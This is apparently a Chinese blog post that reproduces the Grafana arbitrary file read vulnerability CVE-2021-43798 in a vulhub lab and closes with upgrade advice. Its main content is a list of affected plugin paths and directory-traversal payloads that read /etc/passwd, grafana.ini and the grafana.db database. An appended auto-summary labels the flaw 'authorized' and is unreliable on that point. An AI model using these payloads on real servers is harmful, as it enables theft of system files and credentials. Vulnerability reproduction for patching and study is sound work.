CVE-2021-43798——Grafana 未授权任意文件读取

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。

未授权的攻击者利用该漏洞,能够获取服务器敏感文件

 

该漏洞是由于Grafana 插件引发的目录穿越漏洞导致任意文件读取,由于Grafana的读取文件接口存在未授权,且未对文件地址进行过滤,导致可以目录穿越实现系统任意文件读取

受影响版本:Grafana 8.0.0 - 8.3.0

漏洞复现

vulhub靶场环境

docker-compose up -d #开启容器

进入3000端口查看,进入grafana的登陆界面

使用burpsuit对这个页面进行抓包

 这里我们需要用到里面的受影响的插件来构造POC

官方发布的受影响的插件名单

<grafana_host_url>/public/plugins/alertlist/
    <grafana_host_url>/public/plugins/annolist/
    <grafana_host_url>/public/plugins/barchart/
    <grafana_host_url>/public/plugins/bargauge/
    <grafana_host_url>/public/plugins/candlestick/
    <grafana_host_url>/public/plugins/cloudwatch/
    <grafana_host_url>/public/plugins/dashlist/
    <grafana_host_url>/public/plugins/elasticsearch/
    <grafana_host_url>/public/plugins/gauge/
    <grafana_host_url>/public/plugins/geomap/
    <grafana_host_url>/public/plugins/gettingstarted/
    <grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/
    <grafana_host_url>/public/plugins/graph/
    <grafana_host_url>/public/plugins/heatmap/
    <grafana_host_url>/public/plugins/histogram/
    <grafana_host_url>/public/plugins/influxdb/
    <grafana_host_url>/public/plugins/jaeger/
    <grafana_host_url>/public/plugins/logs/
    <grafana_host_url>/public/plugins/loki/
    <grafana_host_url>/public/plugins/mssql/
    <grafana_host_url>/public/plugins/mysql/
    <grafana_host_url>/public/plugins/news/
    <grafana_host_url>/public/plugins/nodeGraph/
    <grafana_host_url>/public/plugins/opentsdb
    <grafana_host_url>/public/plugins/piechart/
    <grafana_host_url>/public/plugins/pluginlist/
    <grafana_host_url>/public/plugins/postgres/
    <grafana_host_url>/public/plugins/prometheus/
    <grafana_host_url>/public/plugins/stackdriver/
    <grafana_host_url>/public/plugins/stat/
    <grafana_host_url>/public/plugins/state-timeline/
    <grafana_host_url>/public/plugins/status-history/
    <grafana_host_url>/public/plugins/table/
    <grafana_host_url>/public/plugins/table-old/
    <grafana_host_url>/public/plugins/tempo/
    <grafana_host_url>/public/plugins/testdata/
    <grafana_host_url>/public/plugins/text/
    <grafana_host_url>/public/plugins/timeseries/
    <grafana_host_url>/public/plugins/welcome/
    <grafana_host_url>/public/plugins/zipkin/

以下演示就使用gauge来进行,在抓到的数据包的GET后面添加payload进去

#读取passwd目录

/public/plugins/gauge/../../../../../../../../../etc/passwd  

 
#读取Grafana配置文件

/public/plugins/gauge/../../../../../../../../../../../../../../../etc/grafana/grafana.ini 

 

 #读取grafana数据库

/public/plugins/gauge/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db 

 

修复建议

处于受影响版本的应立即升级

-----------------------------------------------------------------------------------------------------------------------------

(如果文章内容有误,麻烦大佬们指点,我会及时改正,如果帮助到了您,麻烦点个赞呗)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2021-43798是指Grafana中的授权任意文件读取漏洞。攻击者可以利用这个漏洞读取系统上的敏感文件。\[1\] 为了利用这个漏洞,攻击者可以使用curl命令下载Grafana Enterprise 8.3.0版本的压缩包,并解压缩。\[2\]然后,可以使用提供的Python脚本exp.py来执行攻击。该脚本会尝试读取目标服务器上的/etc/passwd文件,以确认是否存在漏洞。\[3\] 需要注意的是,这个漏洞只会影响使用受影响版本的Grafana,并且需要攻击者能够与目标服务器建立连接才能利用漏洞。建议及时更新Grafana以修复这个漏洞,并确保服务器的安全配置和访问控制措施得到有效实施。 #### 引用[.reference_title] - *1* [CVE-2021-43798 Grafana 授权任意文件读取漏洞](https://blog.csdn.net/Jietewang/article/details/121961312)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [漏洞分析|CVE-2021-43798 - Grafana文件读取漏洞](https://blog.csdn.net/weixin_42508548/article/details/122061449)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CVE-2021-43798——Grafana 授权任意文件读取](https://blog.csdn.net/weixin_44309905/article/details/122008606)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值